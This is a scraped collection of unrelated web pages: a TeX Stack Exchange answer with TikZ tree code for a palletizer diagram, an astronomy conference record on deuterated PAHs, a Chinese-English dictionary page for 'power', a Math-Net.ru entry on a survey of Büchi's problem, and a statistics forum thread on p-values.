I am not completely sure that this is actually what you want. You can easily change your code a bit to get everything to fit though. Adding the fullpage package to ensure it fits on the page properly and slightly adjusting the sibling distances for the different levels is enough.

\documentclass[a4paper,10pt]{article}
\usepackage{tikz}
\usepackage{fullpage}
\begin{document}
\begin{tikzpicture}
[font=\small, edge from parent fork down,
every node/.style={top color=white, bottom color=blue!25,
rectangle,rounded corners, minimum size=6mm, draw=blue!75,
very thick, drop shadow, align=center},
edge from parent/.style={draw=blue!50,thick},
level 1/.style={sibling distance=6cm},
level 2/.style={sibling distance=2.5cm},
level 3/.style={sibling distance=2.5cm},
level distance=2cm,
]
\node {Paletizar} % root
child { node {Iniciar}
child { node {Detectar Pacote}}
child { node {Movimentar}}
}
child { node {Empacotar}
child { [sibling distance=15mm] node {Posicionar}
child { node {Pegar/Largar}}
child { node {Organizar}}
child { node {Movimentar}}
}
child { node {Agrupar}}
child { node {Padronizar}}
}
child { node {Finalizar}
child { node {Detectar estado\\da palete}}
child { node {Transmitir}}
};
\end{tikzpicture}

\vspace{2cm}
\begin{tikzpicture}
[font=\small, edge from parent fork down,
every node/.style={top color=white, bottom color=blue!25,
rectangle,rounded corners, minimum size=6mm, draw=blue!75,
very thick, drop shadow, align=center},
edge from parent/.style={draw=blue!50,thick},
level 1/.style={sibling distance=6cm},
level 2/.style={sibling distance=2.5cm},
level 3/.style={sibling distance=1.75cm},
level distance=2cm,
]
\node {Paletizador} % root
child { node {Inicialização\\de sistema}
child { node {Sensor X}}
child { node {Acção Y}}
}
child { node {Sacos}
child { node {Linha/Coluna}
child { node {Garra}}
child { node {Rodar Garra}}
child { node {Acção Y2}}
}
child { node {Euro Pallet}}
child { node {Disposição $xyz$}
child { node {$x=?$}}
child { node {$y=?$}}
child { node {$z=?$}}
}
}
child { node {Sistema de despacho}
child { node {Sensor de peso\\/contador}}
child { node {Tapete rolante\\de saída}}
};
\end{tikzpicture}
\end{document}

You might want to look into some other package, like qtree to draw your trees, if the nodes don't need to look as fancy and you want some automatic placement. If you do want the fancyness of TikZ, there is also tikz-qtree.

-
Since qtree is designed solely for linguistic trees, it has few options for changing the branch shape, so for these kinds of trees, tikz-qtree is a better choice. –  Alan Munn Nov 20 '11 at 21:16


text:
## Files in this item

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PresentationMicrosoft PowerPoint 2007

## Description

 Title: The Infrared detection of dueterated PAHS in HII regions Author(s): Doney, Kirstin D. Contributor(s): Tielens, Xander; Onaka, Takashi; Mori, Tamami; Candian, Alessandra Subject(s): Astronomy Abstract: The amount of deuterium locked up in polycyclic aromatic hydrocarbons (PAHs) has to date been an uncertain value. A near-infrared (NIR) spectroscopic survey of HII regions in the Milky Way, Large Magellanic Cloud (LMC), and Small Magellanic Cloud (SMC), obtained with the AKARI satellite, was performed to search for features indicative of deuterated PAHs in order to better constrain the D/H ratio of PAHs. Through comparison of the observed spectra with a calculated spectrum of deuterated PAHs the aromatic and (a)symmetric aliphatic C-D stretch vibrational modes were identified. In only six out of fifty-three of the observed sources, all of which are located in the Milky Way, emission features are seen between 4.4-4.8 $\mu$m that can be unambiguously attributed to deuterated PAHs. In all cases the aromatic C-D stretching feature is weaker than the aliphatic C-D stretching feature, which indicates that deuterium addition is favored over substitution. In addition, based on the weak or absent PAD features in most of the observed spectra, it is suggested that the mechanism for PAH deuteration in the ISM is uncommon. Issue Date: 2016-06-23 Publisher: International Symposium on Molecular Spectroscopy Genre: Conference Paper/Presentation Type: Text Language: En URI: http://hdl.handle.net/2142/91059 Rights Information: Copyright 2016 by the authors Date Available in IDEALS: 2017-01-26


text:
全文文献 工具书 数字 学术定义 翻译助手 学术趋势 更多

 功率 的翻译结果: 查询用时：1.767秒
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 功率
 power
 INVESTIGATION ON HIGH POWER HIGH REPETITION RATE TEA CO_2 LASER 高功率高重复率TEA CO2激光器研究 短句来源 Theoretical lnvestigation on the Tuning Characteristics of High Power TE(A) CO_2 Lasers 高功率TE(A) CO2激光器的调谐理论研究 短句来源 Research On 3-Dimensional Intellignet Processing CAM For High Power CO_2 Laser 大功率CO_2激光三维智能加工CAM的研究 短句来源 Research of High Frequency and Microwave Bipolar Power Devices 双极高频、微波功率器件的研究 短句来源 Studies on Kinetics of Gas lasers and Optimal Designs of the Lasers with Large Power 气体激光动力学研究及大功率激光器优化设计 短句来源 更多
 power of
 Gain and Power of CO_2 Gasdynamic Lasers CO_2气动激光器的增益和功率 短句来源 Testing of Nominal Power of Diesel Engine, Comments about Ambient and other Conditions 柴油机标定功率试验的一些试验条件 短句来源 Calculation for Reducing Power of Railway Tunnels Ventilation 降低铁路隧道运营通风功率的计算 短句来源 Pulse Width and Output Power of Excimer Laser 准分子激光器的光脉冲宽度和输出功率 短句来源 Measurements on the Dependence of Frequency and Spectral Width upon Iodine Pressure, Modulation Amplitude and Output Power of 633nm ~(127)I_2 Stabilized He-He Lasers ~(127)I_2稳定的633nm氦氖激光的频率、谱线宽度与碘压、调制幅度和输出功率的关系的测量(英文) 短句来源 更多
 the power
 The Research of Increasing the Power on Light and High-Speed Diesel Engine 轻型高速柴油机提高功率的研究 短句来源 Research on Distributed Control and Structure of the Power Converters 功率变换器的分布式控制和结构研究 短句来源 The Study of the Power Control and Rate Control in the Modern Mobile Communications Systems 现代移动通信系统中功率控制和速率控制的研究 短句来源 A FORMULA FOR ESTIMATING THE POWER OUTPUT OF A LASER 激光器输出功率的粗估公式 短句来源 The Study of the GTO Drive Source of the Power Stepping Motor GTO功率步进电机驱动电源的研究 短句来源 更多
 output power
 Pulse Width and Output Power of Excimer Laser 准分子激光器的光脉冲宽度和输出功率 短句来源 Output power increase of high power Nd:glass laser by bandwidth 用增加频带宽度的方法提高钕玻璃高功率激光器输出功率 短句来源 Measurements on the Dependence of Frequency and Spectral Width upon Iodine Pressure, Modulation Amplitude and Output Power of 633nm ~(127)I_2 Stabilized He-He Lasers ~(127)I_2稳定的633nm氦氖激光的频率、谱线宽度与碘压、调制幅度和输出功率的关系的测量(英文) 短句来源 On the Stability of the Output Power of the Internal Mirror He-Ne Lasers 内腔式He-Ne激光器输出功率稳定性探讨 短句来源 DEEP LEVEL IMPURITY EFFECT ON THE OUTPUT POWER SATURATION IN InGaAsP/InP LED 深能级杂质对InGaAsP/InP发光管输出功率饱和性的影响 短句来源 更多

我想查看译文中含有：的双语例句

 power
 If is a ?2-grading of a simple Lie algebra, we explicitly describe a-module Spin0 () such that the exterior algebra of is the tensor square of this module times some power of 2. The operation adj on matrices arises from the (n - 1)st exterior power functor on modules; the analogous factorization question for matrix constructions arising from other functors is raised, as are several other questions. Let q be a power of p and let G(q) be the finite group of Fq-rational points of G. We prove a Tauberian theorem of the form $\phi * g (x)\sim p(x)w(x)$ as $x \to \infty,$ where p(x) is a bounded periodic function and w(x) is a weighted function of power growth. A new C*-algebra of strong limit power functions is proposed. 更多
 power of
 If is a ?2-grading of a simple Lie algebra, we explicitly describe a-module Spin0 () such that the exterior algebra of is the tensor square of this module times some power of 2. Let q be a power of p and let G(q) be the finite group of Fq-rational points of G. In this note, we propose a direct proof, and extend the range allowed for the power of the nonlinearity to the set of all short range nonlinearities. The superaugmented eccentric connectivity index-3 (SAξc3) exhibited an exceptionally high discriminating power of >amp;gt; 4000 for all possible structures containing only five vertices. Numerical examples compare the obtained results with the approximation power of diagonal Chisholm approximant and Taylor polynomial approximant. 更多
 the power
 We develop a method to estimate the power spectrum of a stochastic process on the sphere from data of limited geographical coverage. In this note, we propose a direct proof, and extend the range allowed for the power of the nonlinearity to the set of all short range nonlinearities. If a collection of subsets are chosen at random from the power set of a finite setX, we give the probability that the collection is a tree of subsets ofX. This paper presents an approach for estimating power of the score test, based on an asymptotic approximation to the power of the score test under contiguous alternatives. The power-time curves of SLA and SDS in the presence of a long-chain alcohol (n-heptanol, n-octanol, n-nonanol, n-decanol) in the DMA medium were determined. 更多
 output power
 Investigation on the integral output power model of a large-scale wind farm The integral output power model of a large-scale wind farm is needed when estimating the wind farm's output over a period of time in the future. The calculation algorithms and steps of the integral output power model of a large-scale wind farm are provided. The average output power at a maximum pulse repetition rate and a 250kV-voltage is 16 kW. The output power-amplification unit is based on an inductive storage and SOS diodes with subnanosecond current cutoff time. 更多
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RUS  ENG JOURNALS   PEOPLE   ORGANISATIONS   CONFERENCES   SEMINARS   VIDEO LIBRARY   PERSONAL OFFICE
 General information Latest issue Archive Impact factor Search papers Search references RSS Latest issue Current issues Archive issues What is RSS

 Zap. Nauchn. Sem. POMI: Year: Volume: Issue: Page: Find

 Zap. Nauchn. Sem. POMI, 2010, Volume 377, Pages 111–140 (Mi znsl3818)

A survey on Büchi's problem: new presentations and open problems

H. Pastena, T. Pheidasb, X. Vidauxa

b University of Crete

Abstract: In a commutative ring with a unit, Büchi sequences are those sequences whose second difference of squares is the constant sequence (2). Sequences of elements $x_n$, satisfying $x_n^2=(x+n)^2$ for some fixed $x$ are Büchi sequences that we call trivial. Since we want to study sequences whose elements do not belong to certain subrings (e.g. for fields of rational functions $F(z)$ over a field $F$, we are interested in sequences that are not over $F$), the concept of trivial sequences may vary. Büchi's Problem for a ring asks, whether there exists a positive integer $M$ such that any Büchi sequence of length $M$ or more is trivial.
We survey the current status of knowledge for Büchi's problem and its analogues for higher-order differences and higher powers. We propose several new and old open problems. We present a few new results and various sketches of proofs of old results (in particular Vojta's conditional proof for the case of integers and a rather detailed proof for the case of polynomial rings in characteristic zero), and present a new and short proof of the positive answer to Büchi's problem over finite fields with $p$ elements (originally proved by Hensley). We discuss applications to logic, which were the initial aim for solving these problems. Bibl. 30 titles.

Key words and phrases: Büchi, “n squares problem”, Diophantine equations, Hilbert's tenth problem, undecidability.

Full text: PDF file (714 kB)
References: PDF file   HTML file

English version:
Journal of Mathematical Sciences (New York), 2010, 171:6, 765–781

Document Type: Article
UDC: 511.522+510.53
Language: English

Citation: H. Pasten, T. Pheidas, X. Vidaux, “A survey on Büchi's problem: new presentations and open problems”, Studies in number theory. Part 10, Zap. Nauchn. Sem. POMI, 377, POMI, St. Petersburg, 2010, 111–140; J. Math. Sci. (N. Y.), 171:6 (2010), 765–781

Citation in format AMSBIB
\Bibitem{PasPheVid10} \by H.~Pasten, T.~Pheidas, X.~Vidaux \paper A survey on B\"uchi's problem: new presentations and open problems \inbook Studies in number theory. Part~10 \serial Zap. Nauchn. Sem. POMI \yr 2010 \vol 377 \pages 111--140 \publ POMI \publaddr St.~Petersburg \mathnet{http://mi.mathnet.ru/znsl3818} \transl \jour J. Math. Sci. (N. Y.) \yr 2010 \vol 171 \issue 6 \pages 765--781 \crossref{https://doi.org/10.1007/s10958-010-0181-x} \scopus{http://www.scopus.com/record/display.url?origin=inward&eid=2-s2.0-78650059119}

• http://mi.mathnet.ru/eng/znsl3818
• http://mi.mathnet.ru/eng/znsl/v377/p111

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Citing articles on Google Scholar: Russian citations, English citations
Related articles on Google Scholar: Russian articles, English articles

This publication is cited in the following articles:
1. Shlapentokh A., Vidaux X., “The analogue of Buchi's Problem for function fields”, J. Algebra, 330:1 (2011), 482–506
2. Vidaux X., “Polynomial parametrizations of length 4 Büchi sequences”, Acta Arith., 150:3 (2011), 209–226
3. Sáez P., Vidaux X., “A characterization of Büchi's integer sequences of length 3”, Acta Arith., 149:1 (2011), 37–56
4. Pasten H., “Büchi's problem in any power for finite fields”, Acta Arith., 149:1 (2011), 57–63
5. An Ta Thi Hoai, Wang J.T.-Y., “Hensley's problem for complex and non-Archimedean meromorphic functions”, J. Math. Anal. Appl., 381:2 (2011), 661–677
6. Wang J.T.-Yu., “Hensley's problem for function fields”, Int. J. Number Theory, 8:2 (2012), 507–524
7. Ta Thi Hoai An, Huang H.-L., Wang J.T.-Yu., “Generalized Buchi's Problem for Algebraic Functions and Meromorphic Functions”, Math. Z., 273:1-2 (2013), 95–122
8. Pasten H., Pheidas T., Vidaux X., “Uniform Existential Interpretation of Arithmetic in Rings of Functions of Positive Characteristic”, Invent. Math., 196:2 (2014), 453–484
9. Garcia-Fritz N., Pasten H., “Uniform Positive Existential Interpretation of the Integers in Rings of Entire Functions of Positive Characteristic”, J. Number Theory, 156 (2015), 368–393
10. Pasten H., Vidaux X., “Positive existential definability of multiplication from addition and the range of a polynomial”, Isr. J. Math., 216:1 (2016), 273–306
11. Buser P., Scarpellini B., “Undecidability through Fourier series”, Ann. Pure Appl. Log., 167:7 (2016), 507–524
12. Garcia-Fritz N., “Sequences of Powers With Second Differences Equal to Two and Hyperbolicity”, Trans. Am. Math. Soc., 370:5 (2018), 3441–3466
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text:
# Appropriateness of p-value in my data

#### chemmed312

##### New Member
Our study examined whether there would be a change in prescription rates following an intervention. We had 236 patients. 109 before intervention & 127 after the intervention. We were interested in subgroups. Because we were interested in rates, we used simple difference in population statistics and generated p-values/CI's for each of our subgroups. These formulas take n into account, but I read that there may be certain assumptions about the size of the sample and the appropriateness of the p-value. I don't know what those assumptions are. Any insight into a) if the p-value is appropriate given our small subgroups, b) if a one-tailed or two-tailed z test was appropriate. Thanks in advance.

#### katxt

##### Member
A 2 tail test is usual except in special situations, so p = 0.032 is appropriate.
This would commonly be done with a chi square test which gives p = 0.032 as well.

#### EdGr

##### Member
It looks like your analysis program included the continuity correction (since I get 0.017 one tailed using continuity corrected chi-square). You may want to see if you need to use that stricter version, based on the expected cell frequencies. The uncorrected chi-square gives a smaller p value. // I agree that either should be two-tailed (i.e., double the one-tailed p value) since the rate could have gone up or down. If your intervention could not plausibly have increased the rate, you could argue for a one-tailed test. that's judgment.// By the way, each patient is counted exactly once, right? 12 prescriptions means that 12 patients had a prescription? If it could have been 8 patients, some of whom had two prescriptions, the z test for percentages (or the equivalent chi-square) are both inappropriate.